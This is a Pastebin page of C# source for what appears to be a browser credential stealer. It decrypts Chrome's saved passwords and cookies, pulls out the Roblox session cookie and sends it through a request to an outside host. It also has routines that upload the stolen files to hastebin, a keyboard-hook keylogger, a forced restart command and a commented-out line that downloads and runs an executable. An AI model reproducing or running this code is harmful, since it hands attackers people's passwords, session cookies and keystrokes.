Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Text;
- using System.Collections.Generic;
- using System.Runtime.InteropServices;
- using Microsoft.VisualBasic.CompilerServices;
- using System.Diagnostics;
- using System.Windows.Forms;
- using Microsoft.VisualBasic;
- using System.Net;
- namespace ConsoleApplication2
- {
- class Program
- {
- static string tempFolderPath = Path.GetTempPath();
- static void Main(string[] args)
- {
- using (var client = new WebClient())
- {
- //trollclient.DownloadFile("http://chippyex.heliohost.org/TheTrollface.exe", "troll.exe");
- }
- //troll1Process.Start("troll.exe");
- string domain = "https://v3rmillion.net/";
- //v3r1if (File.ReadAllText(passwordFileN).Contains(domain))
- //v3r2{
- //v3r3Application.Exit();
- //v3r4}
- string domain1 = "https://hackforums.net/";
- //h1if (File.ReadAllText(passwordFileN).Contains(domain1))
- //h2{
- //h3Application.Exit();
- //h4}
- //CCursor.Hide();
- //SWASwapMouseButton(1);
- //System.Diagnostics.Process.Start('WEBSITEHERE');
- //cmdProcess.Start("cmd.exe");
- string robloxcookie;
- List<GoogleChrome.PasswordData> passes = GoogleChrome.Recover();
- using (var outputFile1 = new StreamWriter(tempFolderPath + "passes.txt"))
- foreach (var pass in passes)
- {
- outputFile1.WriteLine("Host: " + pass.Host);
- outputFile1.WriteLine("User: " + pass.User);
- outputFile1.WriteLine("Password: " + pass.Password);
- outputFile1.WriteLine(Environment.NewLine);
- }
- List<GoogleChrome.CookiesData> cookies = GoogleChrome.Recovercookies();
- using (var outputFile = new StreamWriter(tempFolderPath + "cookies.txt"))
- foreach (var cookie in cookies)
- {
- outputFile.WriteLine("Host: " + cookie.Host1);
- outputFile.WriteLine("Cookie: " + cookie.cookie);
- outputFile.WriteLine("Name: " + cookie.name);
- outputFile.WriteLine(Environment.NewLine);
- }
- string path = tempFolderPath +"cookies.txt";
- string text2 = File.ReadAllText(path);
- string result = text2;
- int indexOfFirstPhrase = text2.IndexOf("_|WARNING:-DO-NOT-SHARE-THIS");
- if (indexOfFirstPhrase >= 0)
- {
- indexOfFirstPhrase += "_|WARNING:-DO-NOT-SHARE-THIS".Length;
- int indexOfSecondPhrase = text2.IndexOf("Name:", indexOfFirstPhrase);
- if (indexOfSecondPhrase >= 0)
- result = text2.Substring(indexOfFirstPhrase, indexOfSecondPhrase - indexOfFirstPhrase);
- else
- result = text2.Substring(indexOfFirstPhrase);
- }
- robloxcookie = "_|WARNING:-DO-NOT-SHARE-THIS" + result;
- getIP();
- using (WebClient webClient = new WebClient())
- {
- webClient.Proxy = null;
- webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
- webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/upload.php?data=" + robloxcookie);
- //1webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/send.php?data=" + getPasswords() + "$" + Environment.UserName + "$" + ipAddress);
- //2webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/cookies.php?data=" + getcookies());
- //lolRestart();
- //shutProcess.Start("shutdown","/s /t 0");
- }
- }
- private static void Restart()
- {
- ProcessStartInfo proc = new ProcessStartInfo();
- proc.WindowStyle = ProcessWindowStyle.Hidden;
- proc.FileName = "cmd";
- proc.Arguments = "/C shutdown -f -r -t 0";
- Process.Start(proc);
- }
- private static string pashastebin;
- private static string chastebin;
- private static string res;
- private static string cf = tempFolderPath + "cookies.txt";
- private static string pf = tempFolderPath + "passes.txt";
- public static string getPasswords()
- {
- if (File.Exists(pf))
- {
- using (var sr = new StreamReader(pf))
- {
- var line = sr.ReadToEnd();
- using (WebClient webClient = new WebClient())
- {
- webClient.Proxy = null;
- webClient.Headers.Add("content-type", "text/plain");
- webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
- res = webClient.UploadString("https://hastebin.com/documents", "POST", line);
- return pashastebin = "https://hastebin.com/" + res.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
- }
- }
- }
- else
- {
- return "No passwords";
- }
- }
- public static string getcookies()
- {
- if (File.Exists(cf))
- {
- using (var sr = new StreamReader(cf))
- {
- var line = sr.ReadToEnd();
- using (WebClient webClient = new WebClient())
- {
- webClient.Proxy = null;
- webClient.Headers.Add("content-type", "text/plain");
- webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
- res = webClient.UploadString("https://hastebin.com/documents", "POST", line);
- return chastebin = "https://hastebin.com/" + res.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
- }
- }
- }
- else
- {
- return "No passwords";
- }
- }
- private static string ipAddress;
- public static string getIP()
- {
- using (WebClient webClient = new WebClient())
- {
- webClient.Proxy = null;
- webClient.Encoding = Encoding.UTF8;
- webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
- ipAddress = webClient.DownloadString("https://www.chippyex.heliohost.org/Users/getip.php");
- return ipAddress;
- }
- }
- }
- }
- public class GoogleChrome
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- public static List<PasswordData> Recover()
- {
- string datapath = String.Format("{0}\\Google\\Chrome\\User Data\\Default\\Login Data",
- Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
- List<PasswordData> data = new List<PasswordData>();
- SQLiteHandler SQLDatabase = null;
- try
- {
- SQLDatabase = new SQLiteHandler(datapath);
- SQLDatabase.ReadTable("logins");
- }
- catch (Exception)
- {
- //Handle exception
- return data;
- }
- if (File.Exists(datapath))
- {
- string host;
- string user;
- string pass;
- for (var i = 0; i <= SQLDatabase.GetRowCount() - 1; i++)
- try
- {
- host = SQLDatabase.GetValue(i, "origin_url");
- user = SQLDatabase.GetValue(i, "username_value");
- pass = Decrypt(Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
- if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
- {
- data.Add(new PasswordData
- {
- Host = host,
- User = user,
- Password = pass
- });
- }
- }
- catch
- {
- }
- }
- return data;
- }
- public static List<CookiesData> Recovercookies()
- {
- string datapath1 = String.Format("{0}\\Google\\Chrome\\User Data\\Default\\Cookies",
- Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
- List<CookiesData> data1 = new List<CookiesData>();
- SQLiteHandler SQLDatabase1 = null;
- try
- {
- SQLDatabase1 = new SQLiteHandler(datapath1);
- SQLDatabase1.ReadTable("cookies");
- }
- catch (Exception)
- {
- //Handle exception
- return data1;
- }
- if (File.Exists(datapath1))
- {
- string host1;
- string name1;
- string cookie;
- for (var i = 0; i <= SQLDatabase1.GetRowCount() - 1; i++)
- try
- {
- host1 = SQLDatabase1.GetValue(i, "host_key");
- name1 = SQLDatabase1.GetValue(i, "name");
- cookie = Decrypt(Encoding.Default.GetBytes(SQLDatabase1.GetValue(i, "encrypted_value")));
- if (!String.IsNullOrEmpty(host1) && !String.IsNullOrEmpty(name1) && cookie != null)
- {
- data1.Add(new CookiesData
- {
- Host1 = host1,
- name = name1,
- cookie = cookie
- });
- }
- }
- catch
- {
- }
- }
- return data1;
- }
- public class PasswordData
- {
- public string Host { get; set; }
- public string User { get; set; }
- public string Password { get; set; }
- }
- public class CookiesData
- {
- public string Host1 { get; set; }
- public string name { get; set; }
- public string cookie { get; set; }
- }
- [DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
- private static extern bool CryptUnprotectData(
- ref DATA_BLOB pDataIn,
- string szDataDescr,
- ref DATA_BLOB pOptionalEntropy,
- IntPtr pvReserved,
- ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct,
- int dwFlags,
- ref DATA_BLOB pDataOut);
- private static string Decrypt(byte[] Datas)
- {
- var inj = new DATA_BLOB();
- var Ors = new DATA_BLOB();
- var Ghandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
- inj.pbData = Ghandle.AddrOfPinnedObject();
- inj.cbData = Datas.Length;
- Ghandle.Free();
- var entropy = new DATA_BLOB();
- var crypto = new CRYPTPROTECT_PROMPTSTRUCT();
- CryptUnprotectData(ref inj, null, ref entropy, IntPtr.Zero, ref crypto, 0, ref Ors);
- var Returned = new byte[Ors.cbData + 1];
- Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData);
- var TheString = Encoding.UTF8.GetString(Returned);
- return TheString.Substring(0, TheString.Length - 1);
- }
- [Flags]
- private enum CryptProtectPromptFlags
- {
- CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
- CRYPTPROTECT_PROMPT_ON_PROTECT = 2
- }
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- private struct CRYPTPROTECT_PROMPTSTRUCT
- {
- public readonly int cbSize;
- public readonly CryptProtectPromptFlags dwPromptFlags;
- public readonly IntPtr hwndApp;
- public readonly string szPrompt;
- }
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- private struct DATA_BLOB
- {
- public int cbData;
- public IntPtr pbData;
- }
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallback(
- int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- Console.WriteLine((Keys)vkCode);
- StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
- sw.Write((Keys)vkCode);
- sw.Close();
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0;
- public class SQLiteHandler
- {
- private readonly byte[] db_bytes;
- private readonly ulong encoding;
- private string[] field_names;
- private sqlite_master_entry[] master_table_entries;
- private readonly ushort page_size;
- private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
- private table_entry[] table_entries;
- public SQLiteHandler(string baseName)
- {
- if (File.Exists(baseName))
- {
- FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
- var str = Strings.Space((int)FileSystem.LOF(1));
- FileSystem.FileGet(1, ref str, -1L, false);
- FileSystem.FileClose(1);
- db_bytes = Encoding.Default.GetBytes(str);
- if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
- throw new Exception("Not a valid SQLite 3 Database File");
- if (db_bytes[0x34] != 0)
- throw new Exception("Auto-vacuum capable database is not supported");
- //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0)
- //{
- // throw new Exception("No supported Schema layer file-format");
- //}
- page_size = (ushort)ConvertToInteger(0x10, 2);
- encoding = ConvertToInteger(0x38, 4);
- if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0)
- encoding = 1L;
- ReadMasterTable(100L);
- }
- }
- private ulong ConvertToInteger(int startIndex, int Size)
- {
- if ((Size > 8) | (Size == 0))
- return 0L;
- ulong num2 = 0L;
- var num4 = Size - 1;
- for (var i = 0; i <= num4; i++)
- num2 = (num2 << 8) | db_bytes[startIndex + i];
- return num2;
- }
- private long CVL(int startIndex, int endIndex)
- {
- endIndex++;
- var buffer = new byte[8];
- var num4 = endIndex - startIndex;
- var flag = false;
- if ((num4 == 0) | (num4 > 9))
- return 0L;
- if (num4 == 1)
- {
- buffer[0] = (byte)(db_bytes[startIndex] & 0x7f);
- return BitConverter.ToInt64(buffer, 0);
- }
- if (num4 == 9)
- flag = true;
- var num2 = 1;
- var num3 = 7;
- var index = 0;
- if (flag)
- {
- buffer[0] = db_bytes[endIndex - 1];
- endIndex--;
- index = 1;
- }
- var num7 = startIndex;
- for (var i = endIndex - 1; i >= num7; i += -1)
- if (i - 1 >= startIndex)
- {
- buffer[index] = (byte)(((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2)) |
- (byte)(db_bytes[i - 1] << (num3 & 7)));
- num2++;
- index++;
- num3--;
- }
- else if (!flag)
- {
- buffer[index] = (byte)((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2));
- }
- return BitConverter.ToInt64(buffer, 0);
- }
- public int GetRowCount()
- {
- return table_entries.Length;
- }
- public string[] GetTableNames()
- {
- string[] strArray2 = null;
- var index = 0;
- var num3 = master_table_entries.Length - 1;
- for (var i = 0; i <= num3; i++)
- if (master_table_entries[i].item_type == "table")
- {
- strArray2 = (string[])Utils.CopyArray(strArray2, new string[index + 1]);
- strArray2[index] = master_table_entries[i].item_name;
- index++;
- }
- return strArray2;
- }
- public string GetValue(int row_num, int field)
- {
- if (row_num >= table_entries.Length)
- return null;
- if (field >= table_entries[row_num].content.Length)
- return null;
- return table_entries[row_num].content[field];
- }
- public string GetValue(int row_num, string field)
- {
- var num = -1;
- var length = field_names.Length - 1;
- for (var i = 0; i <= length; i++)
- if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0)
- {
- num = i;
- break;
- }
- if (num == -1)
- return null;
- return GetValue(row_num, num);
- }
- private int GVL(int startIndex)
- {
- if (startIndex > db_bytes.Length)
- return 0;
- var num3 = startIndex + 8;
- for (var i = startIndex; i <= num3; i++)
- {
- if (i > db_bytes.Length - 1)
- return 0;
- if ((db_bytes[i] & 0x80) != 0x80)
- return i;
- }
- return startIndex + 8;
- }
- private bool IsOdd(long value)
- {
- return (value & 1L) == 1L;
- }
- private void ReadMasterTable(ulong Offset)
- {
- if (db_bytes[(int)Offset] == 13)
- {
- var num2 = Convert.ToUInt16(
- decimal.Subtract(
- new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
- decimal.One));
- var length = 0;
- if (master_table_entries != null)
- {
- length = master_table_entries.Length;
- master_table_entries = (sqlite_master_entry[])Utils.CopyArray(master_table_entries,
- new sqlite_master_entry[master_table_entries.Length + num2 + 1]);
- }
- else
- {
- master_table_entries = new sqlite_master_entry[num2 + 1];
- }
- int num13 = num2;
- for (var i = 0; i <= num13; i++)
- {
- var num = ConvertToInteger(
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
- if (decimal.Compare(new decimal(Offset), 100M) != 0)
- num += Offset;
- var endIndex = GVL((int)num);
- var num7 = CVL((int)num, endIndex);
- var num6 = GVL(Convert.ToInt32(
- decimal.Add(
- decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
- decimal.One)));
- master_table_entries[length + i].row_id =
- CVL(
- Convert.ToInt32(decimal.Add(
- decimal.Add(new decimal(num),
- decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6);
- num = Convert.ToUInt64(decimal.Add(
- decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))),
- decimal.One));
- endIndex = GVL((int)num);
- num6 = endIndex;
- var num5 = CVL((int)num, endIndex);
- var numArray = new long[5];
- var index = 0;
- do
- {
- endIndex = num6 + 1;
- num6 = GVL(endIndex);
- numArray[index] = CVL(endIndex, num6);
- if (numArray[index] > 9L)
- if (IsOdd(numArray[index]))
- numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0);
- else
- numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0);
- else
- numArray[index] = SQLDataTypeSize[(int)numArray[index]];
- index++;
- } while (index <= 4);
- if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
- master_table_entries[length + i].item_type = Encoding.Default.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
- else if (decimal.Compare(new decimal(encoding), 2M) == 0)
- master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
- else if (decimal.Compare(new decimal(encoding), 3M) == 0)
- master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
- if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
- master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
- new decimal(numArray[0]))), (int)numArray[1]);
- else if (decimal.Compare(new decimal(encoding), 2M) == 0)
- master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
- new decimal(numArray[0]))), (int)numArray[1]);
- else if (decimal.Compare(new decimal(encoding), 3M) == 0)
- master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
- new decimal(numArray[0]))), (int)numArray[1]);
- master_table_entries[length + i].root_num =
- (long)ConvertToInteger(
- Convert.ToInt32(decimal.Add(
- decimal.Add(
- decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
- new decimal(numArray[0])), new decimal(numArray[1])),
- new decimal(numArray[2]))), (int)numArray[3]);
- if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
- master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(
- decimal.Add(
- decimal.Add(
- decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
- new decimal(numArray[0])), new decimal(numArray[1])),
- new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
- else if (decimal.Compare(new decimal(encoding), 2M) == 0)
- master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(
- decimal.Add(
- decimal.Add(
- decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
- new decimal(numArray[0])), new decimal(numArray[1])),
- new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
- else if (decimal.Compare(new decimal(encoding), 3M) == 0)
- master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(
- decimal.Add(
- decimal.Add(
- decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
- new decimal(numArray[0])), new decimal(numArray[1])),
- new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
- }
- }
- else if (db_bytes[(int)Offset] == 5)
- {
- var num11 = Convert.ToUInt16(
- decimal.Subtract(
- new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
- decimal.One));
- int num14 = num11;
- for (var j = 0; j <= num14; j++)
- {
- var startIndex =
- (ushort)ConvertToInteger(
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
- if (decimal.Compare(new decimal(Offset), 100M) == 0)
- ReadMasterTable(Convert.ToUInt64(
- decimal.Multiply(
- decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One),
- new decimal(page_size))));
- else
- ReadMasterTable(Convert.ToUInt64(
- decimal.Multiply(
- decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)),
- decimal.One), new decimal(page_size))));
- }
- ReadMasterTable(Convert.ToUInt64(
- decimal.Multiply(
- decimal.Subtract(
- new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
- decimal.One), new decimal(page_size))));
- }
- }
- public bool ReadTable(string TableName)
- {
- var index = -1;
- var length = master_table_entries.Length - 1;
- for (var i = 0; i <= length; i++)
- if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
- {
- index = i;
- break;
- }
- if (index == -1)
- return false;
- var strArray = master_table_entries[index].sql_statement
- .Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(',');
- var num6 = strArray.Length - 1;
- for (var j = 0; j <= num6; j++)
- {
- strArray[j] = strArray[j].TrimStart();
- var num4 = strArray[j].IndexOf(" ");
- if (num4 > 0)
- strArray[j] = strArray[j].Substring(0, num4);
- if (strArray[j].IndexOf("UNIQUE") == 0)
- break;
- field_names = (string[])Utils.CopyArray(field_names, new string[j + 1]);
- field_names[j] = strArray[j];
- }
- return ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size));
- }
- private bool ReadTableFromOffset(ulong Offset)
- {
- if (db_bytes[(int)Offset] == 13)
- {
- var num2 = Convert.ToInt32(decimal.Subtract(
- new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
- decimal.One));
- var length = 0;
- if (table_entries != null)
- {
- length = table_entries.Length;
- table_entries =
- (table_entry[])Utils.CopyArray(table_entries,
- new table_entry[table_entries.Length + num2 + 1]);
- }
- else
- {
- table_entries = new table_entry[num2 + 1];
- }
- var num16 = num2;
- for (var i = 0; i <= num16; i++)
- {
- record_header_field[] _fieldArray = null;
- var num = ConvertToInteger(
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
- if (decimal.Compare(new decimal(Offset), 100M) != 0)
- num += Offset;
- var endIndex = GVL((int)num);
- var num9 = CVL((int)num, endIndex);
- var num8 = GVL(Convert.ToInt32(
- decimal.Add(
- decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
- decimal.One)));
- table_entries[length + i].row_id =
- CVL(
- Convert.ToInt32(decimal.Add(
- decimal.Add(new decimal(num),
- decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8);
- num = Convert.ToUInt64(decimal.Add(
- decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))),
- decimal.One));
- endIndex = GVL((int)num);
- num8 = endIndex;
- var num7 = CVL((int)num, endIndex);
- var num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)),
- decimal.One));
- for (var j = 0; num10 < num7; j++)
- {
- _fieldArray =
- (record_header_field[])Utils.CopyArray(_fieldArray, new record_header_field[j + 1]);
- endIndex = num8 + 1;
- num8 = GVL(endIndex);
- _fieldArray[j].type = CVL(endIndex, num8);
- if (_fieldArray[j].type > 9L)
- if (IsOdd(_fieldArray[j].type))
- _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0);
- else
- _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0);
- else
- _fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type];
- num10 = num10 + (num8 - endIndex) + 1L;
- }
- table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1];
- var num4 = 0;
- var num17 = _fieldArray.Length - 1;
- for (var k = 0; k <= num17; k++)
- {
- if (_fieldArray[k].type > 9L)
- if (!IsOdd(_fieldArray[k].type))
- {
- if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
- table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
- new decimal(num4))), (int)_fieldArray[k].size);
- else if (decimal.Compare(new decimal(encoding), 2M) == 0)
- table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
- new decimal(num4))), (int)_fieldArray[k].size);
- else if (decimal.Compare(new decimal(encoding), 3M) == 0)
- table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
- new decimal(num4))), (int)_fieldArray[k].size);
- }
- else
- {
- table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
- new decimal(num4))), (int)_fieldArray[k].size);
- }
- else
- table_entries[length + i].content[k] =
- Conversions.ToString(
- ConvertToInteger(
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
- new decimal(num4))), (int)_fieldArray[k].size));
- num4 += (int)_fieldArray[k].size;
- }
- }
- }
- else if (db_bytes[(int)Offset] == 5)
- {
- var num14 = Convert.ToUInt16(
- decimal.Subtract(
- new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
- decimal.One));
- int num18 = num14;
- for (var m = 0; m <= num18; m++)
- {
- var num13 = (ushort)ConvertToInteger(
- Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2);
- ReadTableFromOffset(Convert.ToUInt64(
- decimal.Multiply(
- decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One),
- new decimal(page_size))));
- }
- ReadTableFromOffset(Convert.ToUInt64(
- decimal.Multiply(
- decimal.Subtract(
- new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
- decimal.One), new decimal(page_size))));
- }
- return true;
- }
- [StructLayout(LayoutKind.Sequential)]
- private struct record_header_field
- {
- public long size;
- public long type;
- }
- [StructLayout(LayoutKind.Sequential)]
- private struct sqlite_master_entry
- {
- public long row_id;
- public string item_type;
- public string item_name;
- public readonly string astable_name;
- public long root_num;
- public string sql_statement;
- }
- [StructLayout(LayoutKind.Sequential)]
- private struct table_entry
- {
- public long row_id;
- public string[] content;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement